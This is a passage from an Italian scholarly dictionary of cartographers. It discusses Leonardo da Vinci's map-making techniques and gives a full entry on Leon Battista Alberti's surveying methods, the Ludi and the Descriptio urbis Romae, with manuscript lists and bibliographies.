Ancora nell’ambito dei disegni preparatori, ma passando dalla scala urbana a quella territoriale, si può inoltre approfondire ulteriormente il discorso sui metodi di rilevamento territoriale e di costruzione cartografica adottati da Leonardo e notare altresì come le sue carte assumano un’importanza innovativa sia sul piano dei contenuti informativi sia su quello della tecnica.
Dal brogliaccio Vista della Valdichiana (RLW, 12682) si può constatare come il Vinciano fermi con uno schizzo en plein air le peculiarità del territorio compreso tra Arezzo ed il Trasimeno ed annoti varie indicazioni di distanze radiali, tra alcune località collocate nei paraggi di Castiglione e di Foiano, per poi perfezionarne la rappresentazione nella celeberrima Carta della Valdichiana (RLW, 12278r). Le componenti metriche della rappresentazione definitiva non sono però collegate ad alcun metodo di rilevamento noto all’epoca: non vi sono tracce di rilevamento per intersezione, né di posizionamento per coordinate polari, ma solo osservazioni di allineamenti e di sequenze ordinate di oggetti territoriali, ancorché sia chiaramente provato che il Vinciano conoscesse i metodi riportati da Leon Battista Alberti nel suo Ex ludi rerum mathematicarum (LBM, Codice Arundel, f. 66 r).
La formula adotta da Leonardo nel rilevamento e nella rappresentazione cartografica è sintetizzata nel seguente precetto “scorta sulle sommità e in su’ lati dei colli le figure di terreni e le sue divisioni e nelle cose volte a te, fale in propria forma” (BIF,, Ms. L, f. 21 r). Il passaggio dal rilievo alla carta avviene poi attraverso una sintesi individuale di elementi percettivi, metrici ed ordinali, che propongono sempre una visione diagrammatica dello spazio, percepito e delineato nella sua unitarietà (Cantile, 2003).
Pur se in qualche misura l’allestimento cartografico poggia su un impianto di tipo euclideo, lo spazio rappresentato nelle carte territoriali di Leonardo è di tipo topologico, uno spazio cioè dove le relazioni tra gli oggetti territoriali sono espresse in termini di prossimità, di adiacenza, di inclusione, di appartenenza, di intersezione. Di contro, nelle carte alla scala urbana si nota una profonda differenza di metodo, che lo porta ad esaltare la componente metrica, con ispirazione a concetti di precisione profondamente diversi, dettati probabilmente da differenti finalità di cartografazione: laddove nella Pianta di Imola (RLW, 12284) si constata la ricerca di precisioni finalizzate alla progettazione architettonica, nelle carte a scala territoriale si osserva un’attenzione rivolta al metaprogetto, alla pianificazione.
Quanto alla raffigurazione del territorio, Leonardo introduce notevoli innovazioni di tipo comunicativo rispetto alla tradizione del suo tempo, specialmente nella rappresentazione della componente verticale, argomento che come noto ha afflitto generazioni di cartografi fino al XIX secolo. Il metodo impiegato nella restituzione grafica delle masse orografiche supera la piatta delineazione dei “mucchi di talpa”, che comunque rimarrà in uso fino all’introduzione del tratteggio clinografico di Johann Georg Lehmann (1765-1811) nel 1799, grazie ad un tentativo di restituzione delle masse orografiche secondo mutui rapporti di proporzionalità ed all’introduzione dello sfumo, che conferiscono alle forme una forza comunicativa senza precedenti. La piatta e generica delineazione per mucchi di talpa si trasforma così in una rappresentazione che imita per la prima volta la componente verticale del territorio, ligia al precetto vinciano del Libro di Pittura, secondo il quale l’artefice ha tra i suoi compiti primari quello di “fare che una superficie piana si dimostri un corpo rilevato e spiccato da esso piano; e quello che in tale arte eccede più gli altri, quello merita maggior laude, e questa tale investigazione, anzi corona di tale scienza, nasce dalle ombre e dai lumi, o vuoi dire chiaro e scuro [...] bellezza e maraviglia del dimostrare di rilievo la cosa piana”.
In definitiva, l’innovazione introdotta da Leonardo comunica il suo “senso del terreno” (Baratta, 1911), che si spinge finanche alla delineazione di elementi di dettaglio del territorio, come nel caso delle rocce affioranti nei pressi del tempio a Giove Anxur, nella celebre Carta delle Paludi pontine (RLW, 12684).
Ancora un ulteriore elemento innovativo, sempre nel campo delle tecniche di rappresentazione orografica, è da riscontrare nel geniale uso del colore adottato per la Carta dell’Italia centro-nord (RLW, 12277), allestita sulla base del precedente modello massaiano (Kish, 1983 e Rombai, 1993) ed integrata da elementi frutto di rilevamento diretto. In essa Leonardo introduce una modalità di rappresentazione che consente una percezione delle variazioni di quota del territorio cartografato, senza precedenti nella storia della Cartografia, che può essere riconosciuta come l’archetipo della tecnica di rappresentazione orografica a tinte ipsometriche. La soluzione adottata per questa carta infatti, pur non riportando ancora informazioni di carattere metrico sulle variazioni di quota, anticipa, sia pure in modo non regolare, quel concetto di “più scuro più alto”, che la cartografia di tipo corografico adotterà in modo sistematico fino ai nostri giorni.
Analogamente all’orografia, anche nell’idrografia esprime l’idea di tridimensionalità attraverso la stessa tecnica, richiamando il concetto inverso: “più scuro, più profondo”, come nella Carta della Valdichiana (RLW, 12278r), dove contrappone lo specchio d’acqua della Chiana, ai flussi idrici dei torrenti tributari dello stesso bacino all’interno del vasto acquitrino ed al vicino lago Trasimeno, segnalandone con differenti tonalità di azzurro le variazioni di profondità.
La sua produzione cartografica è sparsa in vari codici e collezioni: Royal Library di Windsor (RLW); Biblioteca di Lord Leicester in Holkham Hall (BLHH): Codice Leicester; Biblioteca Ambrosiana di Milano (BAM): Codice Atlantico; Biblioteca Nazionale di Madrid (BNM), Codice di Madrid; Museo Britannico di Londra (LBM): Codice Arundel; Biblioteca dell’Istituto di Francia (BIF), Manoscritto L. Tra questi, sono particolarmente degni di nota i seguenti documenti:
Carta dell’Italia centro-nord (RLW, 12277);
Carta della Valdichiana, con lago Trasimeno e regioni limitrofe, compresa gran parte del Senes, (RLW, 12278 r);
Pianta di Imola (RLW, 12284);
Carta della Toscana marittima, da Lucca a Campiglia, con l’immediato retroterra (RLW, 12683);
Paludi Pontine (RLW, 12684);
Milano in fondamenta (BAM, Codice Atlantico, f. 199 v);
Carta geografica col sistema idrografico di una zona dell’Appennino tosco-romagnolo (BAM, Codice Atlantico, f. 334 r);
Carta del Lazio (BAM, Codice Atlantico, f. 336 v. a);
Rilievo delle mura di Urbino (BIF, Ms. L, f. 38 r; f. 75 r);
Due schizzi con il promontorio di Piombino, il golfo di Baratti e i dintorni di Populonia (BIF, Ms. L, f. 76 v).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Major, 1866; Uzielli, 1872; Baratta, 1905; Baratta, 1911; Baratta, 1912; Baratta, 1922; Clark, 1935; Baratta, 1941; Marcolongo, 1941; Goldscheider, 1952; Leonardo Da Vinci, 1952; Marinoni, 1952; Almagià, 1953; Castelfranco, 1955; Leonardo Da Vinci, 1955; De Toni 1957; Vasari, 1966-1987; D'Arrigo, 1969; De Toni, 1974; Argan, 1977; Mancini, 1979; Caleca e Mazzanti, 1980; Caleca e Mazzanti, 1982; Rombai, 1993; Clayton, 1996; Galluzzi, 1996; Starnazzi, 1996; Starnazzi, 1998; Starnazzi, 2000; Fabbri, 2002; Lago (a cura di), 2002; Starnazzi, 2003; Cantile, 2003; Nanni e Testaferrata, 2004.
GDSU, n. 8P; RLW; BAM, Codice Atlantico; BIF, Ms. L.; BLHH, Codice Leicester; BNM, Codice di Madrid; LBM, Codice Arundel; BTM, Codice Trivulziano; LVAM, Codice Foster.

Rimandi ad altre schede:

Autore della scheda: Andrea Cantile

Alberti, Leon Battista

Leon Battista Alberti
N. Genova 14 febbraio 1404
M. aprile 1472

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: letterato, astronomo, musico, trattatista, architetto

Biografia:
Battista nasce a Genova il 14 febbraio 1404, durante l’esilio degli Alberti da Firenze.
Figlio naturale di Lorenzo di Benedetto Alberti e di Bianca Fieschi, subisce per anni l’umiliazione dell’illegittimità fino all’emanazione della bolla papale di Eugenio IV, che il 7 ottobre 1432 gli restituisce piena dignità nella società del tempo.
Acquisisce forse il nome di Leone durante la frequentazione della Accademia romana, fondata dall’umanista Leto Giulio Pomponio.
Ricopre l’incarico di Priore della collegiata di San Martino a Galgalandi, nella diocesi di Firenze, di segretario di vari alti prelati, come i cardinali Aleman, Albergati e Biagio Molin, e di pievano a Borgo San Lorenzo, nel Mugello.
Stringe rapporti con vari artisti ed eruditi del tempo, tra i quali Paolo Toscanelli, Filippo Brunelleschi, Donatello, Burchiello, Vespasiano da Bisticci, Marco Parenti, Piero di Cosimo de’ Medici, Leonardo Bruni, Carlo Marsuppini, Poggio Bracciolini, Leonardo Dati, Giannozzo Manetti, Francesco d’Altobianco.
Da tali frequentazioni trae molto probabilmente notevoli stimoli verso lo studio delle questioni relative al rilevamento ed alla rappresentazione urbana e territoriale, dai quali deriveranno le sue principali produzioni in questo campo.
Muore a Roma nella seconda metà di aprile del 1472. La sua sepoltura non è mai stata individuata, benché egli stesso avesse espresso il desiderio di essere inumato in Sant’Agostino a Roma e poi definitivamente deposto nella tomba del padre in Sant’Antonio a Padova.

Dei primi anni di apprendimento non si hanno molte notizie se non l’ipotesi di una sua frequentazione dello Studio patavino, conseguente al trasferimento della famiglia da Genova a Venezia e poi a Padova.
La sua formazione viene caratterizzata in un primo periodo dall’apprendimento del latino e forse anche del greco, per poi concentrarsi quasi esclusivamente sul diritto canonico, presso lo Studio di Bologna, dove consegue la laurea nel 1428.
Tale apprendimento viene temporaneamente distolto dallo studio della fisica e della matematica, per rispondere a più immediati bisogni di conoscenza, che lo avrebbero molto tempo dopo proiettato in un mondo profondamente diverso da quello delle materie umanistiche e del diritto.
Tutta la formazione di Alberti è improntata ad un eclettismo aperto ad in ogni campo del sapere, con una profondità talvolta stupefacente che ne caratterizza la dimensione di uomo universale. L’evoluzione dei suoi studi è stata recentemente ricostruita attraverso l’esame dei suoi innumerevoli auctores e della sua ipotetica “biblioteca” (Cardini, 2005).
Nel campo del rilevamento, le conoscenze di Alberti si possono datare a partire dalla seconda metà degli anni Venti del suo secolo, con i citati studi propedeutici di fisica e matematica; mentre è dall’inizio degli anni Trenta che, cimentatosi nell’analisi delle rovine delle antichità romane, esegue con molta probabilità i primi rilevamenti alla scala architettonica e forse urbana.
Tali prime attività sembrano tuttavia rappresentare occupazioni dilettevoli, non ancora consapevolmente orientate a quell’interesse predominante che a partire dal decennio successivo avrebbe fortemente caratterizzato la sua produzione, dopo il contatto con gli ambienti culturali fiorentini.
Intorno ai i quarant’anni matura un interesse più consapevole verso gli argomenti artistici e scientifici in generale e le questioni attinenti ai campi della misura e della rappresentazione in particolare, ancorché precedenti esperienze lo avessero visto impegnato in pratiche di rilevamento ed in attività di elaborazione teorica in campo artistico.
A questo periodo sembra infatti datare il fascino esercitato in lui dalle leggi della geometria euclidea e dalle potenzialità del calcolo ed il probabile approfondimento della mathesis pura e della geometria practica, con studi di aritmetica, geometria, trigonometria, algebra, agrimensura, metodi di misura e metrologia.
Sul piano della pratica mensoria, oltre alle citate esperienze romane, un ruolo di primo piano occupano le conoscenze apprese in occasione del lungo soggiorno fiorentino (iniziato nel 1434 e protrattosi sia pure con brevi visite fino al 1443), dalle frequentazioni di Filippo Brunelleschi, di Donatello ed altri artisti del tempo, che gli valgono anche per l’apprendimento di pratiche “professionali” a lui certo non consuete.

Produzione scientifica:
Pur essendo pacificamente assodato che non si possa attribuire tout court all’insigne umanista l’appellativo di cartografo, va sottolineato come l’apporto che egli offre alla disciplina sia degno della più alta considerazione, sia per il rivoluzionario metodo della triangolazione che egli introduce nell’opera Ex ludis rerum mathematicarum (ante 1450), sia per la realizzazione della celebre Descriptio urbis Romae (1443 - 1455), che ancora oggi non si sa se originariamente corredata da una mappa da lui stesso disegnata (Vagnetti, 1974) o se dotata solo di quella carta volutamente cifrata, “encrypted in a sequence of numbers” (Carpo, 2003, p. 210), pervenuta alla nostra epoca.
La produzione albertiana nel campi del rilevamento e della rappresentazione cartografica è concentrata essenzialmente nei Ludi e nella Descriptio, anche se altri riferimenti, riconducibili sempre alle questioni di specifico interesse topo-cartografico, sono recuperabili, sia pure in misura molto limitata, nel De Pictura, nel De Statua e nel De re aedificatoria, dalla cui somma generale si delinea il quadro completo del contributo disciplinare offerto da Alberti alle scienze del rilevamento e della rappresentazione.
I Ludi sono pervenuti alla nostra epoca grazie all’esistenza di undici manoscritti, realizzati tra il XV ed il XVI secolo e variamente caratterizzati da mende e varianti, per opera dei vari copisti che in tali epoche provvidero alla replica di un originale mai identificato.
I manoscritti ad oggi noti sono i seguenti:
 Magl. VI 243, Biblioteca Nazionale Centrale, Firenze;
 Ashburnham, Biblioteca Medicea Laurenziana, 356, Firenze;
 2110, Biblioteca Riccardiana, Firenze;
 2942, Biblioteca Riccardiana, Firenze;
 Moreni 3, Biblioteca Riccardiana, Firenze;
 G. IV 29, Biblioteca Universitaria, Genova;
 208, Biblioteca Classense, Ravenna;
 574, Fondo Vittorio Emanuele, Biblioteca Nazionale, Roma;
 Leber 1158, Biblioteque Municipale, Rouen;
 Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia;
 Typ. 422/2, Harvard College Library, Cambridge (Mass.).
L’opera offre un contributo di alta divulgazione, non priva di elaborazione originale, ed illustra vari procedimenti di rilevamento, dall’ambito edilizio a quello territoriale, di livellazione, di balistica e di misura del tempo, della profondità di pozzi e di vallate, di superfici, di peso e della velocità di un natante.
Il titolo del testo è caratterizzato dal termine ludi, sostantivo che può essere inteso sia col significato di “apprendimento elementare”, in contrapposizione a schola, sia col significato di “esercizio dilettevole”, privilegiando così l’aspetto ricreativo ed annunciando la trattazione di argomenti piacevoli, destinati ad allietare persone di media cultura con suggestive invenzioni matematiche. La preposizione Ex, che pur potrebbe far pensare alla realizzazione di un’epitome, da una più generale trattazione, già peraltro esclusa in passato (Alberti, 1974, III, p. 358), mostra invece che il proposito di Alberti sia stato solo quello di sottolineare come il contenuto dell’opera costituisse solo una selezione di una più ampia gamma di artifici, tramandati tra gli studiosi del passato, dei quali lo stesso autore ricorda Columella (Lucio Giunio Moderato Columella, Cadige, I secolo), “Savazorda” (Abraham bar Hiyya, Barcellona, XII secolo) e “Leonardo pisano” (Leonardo Fibonacci, Pisa, 1170 – 1240 c.a), come suoi riferimenti.
Il volume è dedicato al marchese Meliaduso d’Este, al quale lo stesso autore rivolge nell’epigrafe un’avvertenza circa le “cose molto rare” ivi trattate, precisandogli però: “io mi sforzai di scriverle molto aperte; pure mi conviene rimentarvi che queste sono materie molto sottili, e male si possono trattare in modo sì piano che non convenga stare attento a riconoscerle”.
Per gli aspetti di particolare interesse del rilevamento è da sottolineare come quasi tutti i problemi relativi alla misura indiretta di distanze inaccessibili o parzialmente tali, vengano risolti con l’uso generalizzato del primo criterio di similitudine tra i triangoli e della “regola del tre”; mentre il contributo di maggiore originalità dell’opera è offerto dall’introduzione di un nuovo metodo di rilevamento, che propone, per la prima volta nella storia della topografia, la risoluzione dei problemi di posizionamento relativo, attraverso operazioni di triangolazione, successivamente ripreso ed ampliato da vari trattatisti rinascimentali e perfezionato nei secoli successivi.
Alberti illustra in modo quasi completo tutte le procedure operative della triangolazione, a partire dalle modalità di costruzione dello strumento impiegato ed esponendo poi passo dopo passo le operazioni da compiere per il rilevamento stesso, con tutte le regole da rispettare nell’osservazione delle direzioni angolari e nella loro registrazione, fino alla restituzione grafica del rilevamento stesso, pur se non riferisce però, all’interno dello stesso paragrafo, in merito al dimensionamento ed all’orientamento dei vari poligoni rilevati. Lo strumento di sua invenzione è un goniometro, diviso in 48 gradi, ciascuno dei quali suddiviso in 4 minuti, ancora privo di alidada e di bussola per l’orientamento al nord magnetico, e derivato dall’astrolabio. Lo strumento è impiegato da Alberti in abbinamento con un filo a piombo e può essere realizzato dallo stesso topografo per il tramite di semplici operazioni di costruzione geometrica, tracciando “un circulo su una tavola larga almeno un braccio” e dividendolo poi “in parte tutto atorno equali quanto voi volete, e quante più sieno, meglio sarà, purché sieno distinte e nulla confuse”.

La Descriptio urbis Romae ci è stata tramandata attraverso sei manoscritti, datati tra il XV ed il XVII secolo e caratterizzati anch’essi da un certo arbitrio interpretativo, da qualche lacuna e ripetizione, per opera dei copisti.
I manoscritti ad oggi noti sono i seguenti:
 102, Newberry Library, Chicago;
 O 80 sup., Biblioteca Ambrosiana, Milano;
 Can. Misc. 172, Bodleian Library, Oxford;
 Barb. Lat. 6525, Biblioteca Apostolica Vaticana, Roma;
 Chig. M VII 149, Biblioteca Apostolica Vaticana, Roma;
 Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia.
Alberti afferma: “ho tracciato con la massima precisione, servendomi di mezzi matematici, il percorso e il disegno delle mura, del fiume e delle vie, e inoltre i luoghi e la posizione dei templi, delle opere pubbliche, delle porte e dei monumenti commemorativi, la delimitazione delle alture, e ancora la superficie occupata a scopo di abitazione nella città di Roma, così come ci sono noti ai giorni nostri”.
Contrariamente a quanto tali parole sembrino annunciare, la Descriptio non reca tuttavia elementi sufficienti per la rappresentazione di una vera e propria mappa della città, poiché le intenzioni dell’autore non sono orientate al raggiungimento di un tale genere di risultato. L’opera è dunque ispirata ad una rappresentazione fortemente discretizzata del complesso continuum urbano della Roma rinascimentale e, pur nella sua criptica forma numerica, è ancora molto lontana da una vera delineazione planimetrica di dettaglio dell’impianto urbano, della cui necessità si prenderà coscienza solo molto tempo dopo la celebre Lettera a Leone X, che mostrerà l’utilità di ampliare l’informazione topografica, fino ad una “enfatizzazione” degli edifici antichi “più nobili”, “disegnati anche separatamente (secondo piante, prospetti e sezioni)” (Di Teodoro, 2003, p. 336).
La funzione primaria di quest’opera è dunque finalizzata a rendere ripetibile la restituzione grafica dello schema planimetrico di una città, a “chiunque sia dotato anche soltanto di una normale intelligenza” (Alberti, 2003, pp. 185-207), attraverso semplici costruzioni geometriche, basate sul riporto in piano di un dato numero di punti, aventi coordinate polari assegnate.
Questa finalità chiaramente didascalica del componimento limita quindi l’attenzione dell’autore all’elencazione di un limitato numero di luoghi rimarchevoli, dei quali fornisce le sole coordinate polari, riferite ad un dato centro di sviluppo, conseguendo così la prima immagine geometrica di Roma, sulla cui scorta saranno poi generate le successive ichnographie settecentesche.
Più in particolare, la Descriptio dimostra la possibilità di garantire la derivazione di n restituzioni di una data mappa, tutte omogenee tra loro, pur se con un ineludibile margine di arbitrio, perché caratterizzate da una griglia comune di coordinate note. La costruzione di tale griglia non avviene però attraverso osservazioni dirette di direzioni angolari e determinazioni di distanze, a partire da un punto di stazione posto in posizione centrale e dominante, rispetto alla zona da rilevare e rappresentare. All’interno dell’opera, Alberti non fa mai menzione di un tal genere di procedura di rilevamento, contrariamente a quanto sembra invece emergere dalla contemporanea “raccomandazione di un anonimo cartografo viennese, forse ignota all’umanista italiano, affinché fossero usate coordinate polari nel rilevamento del territorio” (Durand, 1952; Vagnetti, 1974, p. 95). La realizzazione dell’elenco di coordinate cartografiche avviene invece per deduzione da un grafico, realizzato secondo le modalità esposte nei Ludi, quando l’autore illustra il metodo per “commensurare il sito d’un paese, o la pittura d’una terra”. Seguendo tali istruzioni, infatti, l’artefice materializza su un foglio di carta la posizione dei punti precedentemente rilevati per triangolazione, ottenendo la prima restituzione della mappa rilevata; sulla scorta di tale restituzione rileva poi la posizione grafica dei punti di interesse, così da costruire una tabella composta dai nomi di ciascun particolare topografico rappresentato e dalle rispettive coordinate polari (nomina, horizonte e radio), riferite all’origine del sistema di riferimento prescelto.
Il rilevamento della posizione di tali punti all’interno del grafico avviene poi per il tramite di un nuovo strumento, che Alberti chiama “orizzonte”. Questo è anch’esso un goniometro, molto simile a quello descritto nel De Statua e prossimo a quello illustrato nei Ludi per il rilevamento delle direzioni angolari sul territorio, ma abbinato non più ad un filo piombinato, bensì ad un “raggio” graduato e solidale col medesimo goniometro, che consente di rapportare al centro di sviluppo dell’intera rappresentazione le coordinate polari di tutti i punti selezionati per la delineazione della carta.
È proprio grazie a tale strumento, la cui costruzione Alberti lascia alla discrezione del cartografo, che l’artificio matematico escogitato mostra tutto il suo portato innovatore, introducendo il concetto di “scalabilità” (Cantile, 2005, pp. 121-126). Al variare della grandezza del raggio abbinato all’orizzonte, varia dunque la scala di restituzione della mappa: il modello originario può quindi essere replicato geometricamente in tante copie simili tra loro, in rapporto analogo o diverso dal primo, al variare del fattore di proporzionalità scelto per il dimensionamento del raggio e cioè della scala di rappresentazione della mappa.
Il risultato rivoluzionario del metodo albertiano è dunque quello della riproducibilità dell’esperimento al variare dell’artefice, che, unita ad un previo inquadramento geometrico del territorio da rappresentare, aprirà successivamente la strada della rinascenza cartografica (Rombai, 2000, pp. 46-67) e dell’affrancamento da quell’approccio genericamente imitativo, se non fantastico od anagogico, di certa cartografia medievale. L’esperienza albertiana segna di fatto i prodromi di quella rivoluzione che ancora dal secolo dei Lumi, ai giorni nostri pone il problema del posizionamento al centro della stessa problematica cartografica, anche a scapito di tanti altri aspetti (Farinelli, 1992), facendo del dato posizionale l’elemento più qualificante e cogente della carta, a prescindere da ogni altra componente di informazione geografica.
Un ultimo aspetto che necessita infine evidenziare è legato al rapporto tra le questioni tecnico-cartografiche ed il più vasto universo dell’analisi territoriale condotta per il tramite della mappa. Tutti gli accorgimenti geometrico-matematici, impiegati per il rilevamento del dato territoriale e per la sua rappresentazione controllata e ripetibile, sono dispiegati da Alberti per il conseguimento di un risultato che evidentemente è tutt’altro che ludico. Una rappresentazione cartografica costruita su tali basi, può svolgere una funzione insostituibile nell’analisi territoriale, ponendosi come modello di indagine e di simulazione al contempo ed Alberti stesso riferisce di aver operato in tal modo, a proposito delle ricerche compiute per la ricostruzione del tracciato di un antico acquedotto romano.

Produzione di cartografia manoscritta:
La più celebre tra le restituzioni grafiche della Descriptio urbis Romae, eseguite sulla scorta dei valori riportati dalla tabella albertiana, è in Vagnetti, 1974; mentre nei manoscritti citati si rileva solo la presenza di varie esemplificazioni grafiche dell’orizzonte e del raggio, con la migliore esecuzione riportata dal ms. Chig. M VII 149 della Biblioteca Apostolica Vaticana di Roma.
Per quanto attienine ai Ludi, i manoscritti sopra elencati presentano una forte disomogeneità dal punto di vista iconografico, che va dalla totale assenza di grafici, alla puntuale esemplificazione di ciascun metodo riferito da Alberti. Dal punto di vista strettamente iconografico, il manoscritto più dettagliato, pur se caratterizzato da vari refusi, risulta essere il ms. 2942, della Biblioteca Riccardiana, Firenze.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Alberti L. B., De statua, a cura di Collareta M., Pisa, 1998, pp. 9-11.
Alberti L. B., Descriptio urbis Romae, édition critique et itroduction par Boriaud J.-Y., Furlan F., traduction francaise par Boriaud J.-Y., traduzione italiana di Colombo C., English version by Hicks P., postaface by Carpo M., in “Albertiana”, n. 6 (2003), pp. 125-215;
Alberti L. B., Descriptio urbis Romae, ms. 102, Newberry Library, Chicago;
Alberti L. B., Descriptio urbis Romae, ms. Barb. Lat. 6525, Biblioteca Apostolica Vaticana, Roma;
Alberti L. B., Descriptio urbis Romae, ms. Can. Misc. 172, Bodleian Library, Oxford;
Alberti L. B., Descriptio urbis Romae, ms. Chig. M VII 149, Biblioteca Apostolica Vaticana, Roma;
Alberti L. B., Descriptio urbis Romae, ms. Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia
Alberti L. B., Descriptio urbis Romae, ms. O 80 sup., Biblioteca Ambrosiana, Milano;
Alberti L. B., Ex ludis rerum mathematicarum, ms. 208, Biblioteca Classense, Ravenna;
Alberti L. B., Ex ludis rerum mathematicarum, ms. 2110, Biblioteca Riccardiana, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. 2942, Biblioteca Riccardiana, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. 574, Fondo Vittorio Emanuele, Biblioteca Nazionale, Roma;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Ashburnham, Biblioteca Medicea Laurenziana, 356, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. G. IV 29, Biblioteca Universitaria, Genova;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia
Alberti L. B., Ex ludis rerum mathematicarum, ms. Leber 1158, Biblioteque Municipale, Rouen;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Magl. VI 243, Biblioteca Nazionale Centrale, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Moreni 3, Biblioteca Riccardiana, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Typ. 422/2, Harvard College Library (Mass.);
Alberti L. B., Ludi matematici, a cura di Rinaldi R., Milano, Guanda, 1980;
Alberti L. B., Opere volgari, a cura di Grayson C., 3 voll., Bari, Laterza, 1960-1973;
Argan G. C., Alberti Leon Battista, in Dizionario Biografico degli Italiani, vol. I, Roma, Istituto della Enciclopedia Italiana, 1960;
Bertolini L., Schede, in Rykwert J., Engel A. (a cura di), Leon Battista Alberti, Milano, 1994, pp. 430-433;
Borsi S., Leon Battista Alberti e l’antichità, Firenze, 2004;
Borsi S., Leon Battista Alberti e Roma, Firenze, 2003;
Burroughs C., Alberti e Roma, in Rykwert J., Engel A. (a cura di), Leon Battista Alberti, Milano, 1994, pp. 134-157;
Camerota F., Leon Battista Alberti, L’orizzonte, in Camerota F. (a cura di), Nel segno di Masaccio. L’invenzione della prospettiva, Firenze, 2001a, p. 72;
Camerota, Leon Battista Alberti, Pianta di Roma, in Camerota F. (a cura di), Nel segno di Masaccio. L’invenzione della prospettiva, Firenze, 2001b, p. 73;
Cantile A. (a cura di), Eventi e documenti diacronici delle principali attività geotopocartografiche in Roma, supplemento a “L’Universo”, 80 (2000), n. 6;
Cantile A., Misura e rappresentazione urbana nelle opere di Leon Battista Alberti, in Cardini R. (a cura di), 2005, in Cardini R. (a cura di), Leon Battista Alberti, la biblioteca di un umanista, Firenze, Mandragora, 2005, pp. 121-126;
Carpo M., Alberti’s Vision and Plan of Rome. A New Edition and Three New Translation of Alberti’s Descriptio urbis Romae, in Alberti L. B., Descriptio urbis Romae, édition critique cit., 2003;
Carpo M., Descriptio Urbis Romae: ékfrasis geografica e cultura visuale all’alba della rivoluzione tipografica, in “Albertiana”, I, 1998, pp. 121-142;
Di Teodoro F. P., Echi albertiani nella Lettera a Leone X di Raffaello e Baldassar Castiglione, in “Quaderni del Palazzo Te”, n. 7, 2000, pp. 39-40;
Di Teodoro F. P., Leon Battista Alberti, Descriptio Urbis Romae, in Camerota F. (a cura di), Nel segno di Masaccio. Linvenzione della prospettiva, Firenze, 2001, p. 72;
Di Teodoro F. P., Raffaello, Baldassar Castiglione e la Lettera a Leone X, con l’aggiunta di due saggi raffaelleschi, San Giorgio di Piano, Minerva, 2003;
Di Teodoro F. P., Raffaello, Baldassar Castiglioni e la Lettera a Leone X, Bologna, 1994;
Di Teodoro F. P., Raffaello, Baldassar Castiglioni e la Lettera a Leone X, con l’agginta di due saggi raffaelleschi, Bologna, 2003.
Durand D. B., The Vienna-Klosterneuburg Map Corpus of the Fifteenth Century, Brill, Leiden, 1952;
Farinelli F., I segni del mondo. Immagine cartografica e discorso geografico in età moderna, Firenze, La Nuova Italia, 1992;
Frutaz P. A., Le piante di Roma, 3 v., Roma, 1962, I, pp. 127-128;
Gadol J. K., Leon Battista Alberti Universal Man of the Early Rainessance, Chicago-London, 1969;
Geymonat L., Introduzione, in Alberti L. B., Ludi matematici, a cura di Rinaldi R., Milano, Guanda, 1980;
Gnoli D., Di alcune piante topografiche di Roma ignote o poco note, in “Bullettino della Commissione Archeologica Comunale di Roma”, XIII, 1885, pp. 63-76;
Grafton A., Leon Battista Alberti master builder of the Italian Renaissance, New York, 2000, pp. 240-248 (traduzione italiana Laterza, Roma-Bari, 2003);
Grayson C., Alberti e l’antichità, in “Albertiana”, I, 1998, pp. 39-40.
Grayson C., Alberti Leon Battista, in Dizionario Biografico degli Italiani, vol. I, Roma, Istituto della Enciclopedia Italiana, 1960;
Lehmann-Brockhaus O., Alberti “Descriptio Urbis Romae, in “Kunstchronik”, 13, 1960, 345-348;
Lucà Dazio M., L’immagine della città italiana nel Quattrocento. Le vedute prospettiche di Roma, Napoli, Firenze, Genova, Ferrara, Venezia, in “Dialoghi di Storia dell’Arte”, 4/5, 1997, pp. 164-179;
Muntz E., Les antiquités de la ville de Rome, Paris, 1886, p. 9 ;
Pinto J., The Rainessance City Image, in Crombie A. C., Siraisi N. (edited by), The Rational Arts of Living, Nothampton MA, 1987, pp. 205-297;
Queysanne B., Alberti et Raphael. Descriptio Urbis Romae ou comment faire le portrait de Rome, Plan Fixe-Ecole d’architecture de Grenoble, Lione-Grenoble, 2000, pp. 12-41 ;
Rocchi E., Le piante icnografiche e prospetiche di Roma del secolo XVI, Torino-Roma, 1902, pp. 27-28;
Rombai L., Il progetto della pianta albertiana di Roma e la sua influenza sulla nascita della cartografia umanistica fatta di “elevazioni e, soprattutto di modelli”, piuttosto che di “trucchi prospettici adottati dai pittori”, in Cantile A. (a cura di), 2000;
Scaccia Scarafoni C., Le piante di Roma possedute dalla Biblioteca di Archeologia e Storia dell’Arte e dalle altre biblioteche governative della città, Roma, 1939, pp. 71, 190;
Scaglia G., Alberti e la meccanica della tecnologia descritta nel “De re aedificatoria” e nei “Ludi matematici”, in Leon Battista Alberti, catalogo della mostra (Mantova, Palazzo del Te, 10 settembre – 11 dicembre 1994), a cura di Rykwert J., Engel A., Ivrea, Olivetti – Milano, Electa, 1994;
Stroffolino D., Tecniche e strumenti di rilevamenti nei trattati a stampa del Cinquecento, in De Seta C. (a cura di), L’immagine delle città italiane dal XV al XIX secolo, Roma, 1998, pp. 47-49 oppure 45-66;
Sroffolino D., La città misurata. Tecniche e strumenti di rilevamento nei trattati a stampa del Cinquecento, Roma, 1999;
Vagnetti L., La Descriptio Urbis Romae, uno scritto poco noto di L. B. Alberti, in “Quaderni dell’Istituto di elementi di architettura e rilievo dei monumenti di Genova”, I, 1968, pp. 25-88.
Vagnetti L., Lo studio di Roma negli scritti albertiani, in Convegno internazionale indetto nel V centenario di Leon Battista Alberti, Roma-Mantova-Firenze, 25-29 aprile 1972, Roma, Accademia Nazionale dei Lincei, Quaderno n. 209, Roma, 1974;
